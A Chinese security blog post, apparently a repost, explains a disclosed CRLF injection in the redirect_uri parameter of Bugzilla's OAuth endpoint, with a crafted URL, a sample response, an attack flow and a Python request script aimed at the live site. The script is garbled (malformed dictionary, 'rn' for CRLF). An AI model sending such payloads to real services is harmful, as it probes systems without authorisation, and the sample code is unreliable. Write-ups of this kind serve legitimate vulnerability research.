通过敏感参数所实现的CRLF注入

admin 2024年9月28日10:37:58评论11 views字数 1505阅读5分1秒阅读模式

正文

正常请求:

https://bugzilla.mozilla.org/oauth/authorize?client_id=someClientID&redirect_uri=https://example.com&response_type=code

在正常情况下,redirect_uri是一个合法的URL,服务器会在用户授权后将用户重定向到该URL,同时附带授权码。

攻击后的请求:


https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=%0d%0axxx:something&response_type=code

在攻击场景中,redirect_uri参数包含了CRLF字符(%0d%0a),它在HTTP头部中起到换行符的作用。服务器在处理这个请求时,会将CRLF之后的内容(例如xxx:something)解释为一个新的HTTP头部字段。最终的HTTP响应可能如下:

HTTP/2 302
...
location: xxx: something?error=invalid_scope

在这种情况下,location头部被修改为xxx: something?error=invalid_scope,这可能会引发不预期的行为或进一步的安全问题。

攻击流程

步骤1:构造恶意URL 攻击者首先对redirect_uri参数添加一个恶意的URL,其中包含CRLF编码(%0d%0a),例如:

https://bugzilla.mozilla.org/oauth/authorize?client_id=&redirect_uri=%0d%0axxx:something&response_type=code

步骤2:发送请求

攻击者将这个恶意URL发送给目标服务器。由于redirect_uri参数中的CRLF,服务器在解析时会将xxx:something识别为新的HTTP头部字段。

步骤3:服务器解析并生成响应

服务器根据这个恶意的redirect_uri生成HTTP响应。由于CRLF的注入,服务器错误地解析并生成了不符合预期的HTTP头部,导致location字段发生变化。

步骤4:客户端接收并处理响应

客户端(如浏览器)收到服务器的302重定向响应,并按照被篡改的location头部进行重定向,可能导致用户被引导到一个恶意或不安全的页面。

示例代码:

import requests

# 构造恶意请求URL
url = "https://bugzilla.mozilla.org/oauth/authorize"
params = {
    'client_id''',
    'redirect_uri''rnxxx:something',
    'response_type''code'
}

# 发送请求
response = requests.get(url, params=params)

# 打印HTTP响应头
print(response.headers)

rn代表CRLF字符(Carriage Return + Line Feed)。

xxx:something是注入的伪造头部,服务器将其解释为一个新的HTTP头部字段。

最终,客户端接收到的响应中,location字段会被伪造,并指向恶意或非预期的目标。

通过这些步骤,攻击者可以对响应进行某种程度的控制,影响客户端的行为或进一步利用这一漏洞进行攻击。

参考

https://hackerone.com/reports/2147132

原文始发于微信公众号(迪哥讲事):通过敏感参数所实现的CRLF注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日10:37:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过敏感参数所实现的CRLF注入http://cn-sec.com/archives/3106798.html

发表评论

匿名网友 填写信息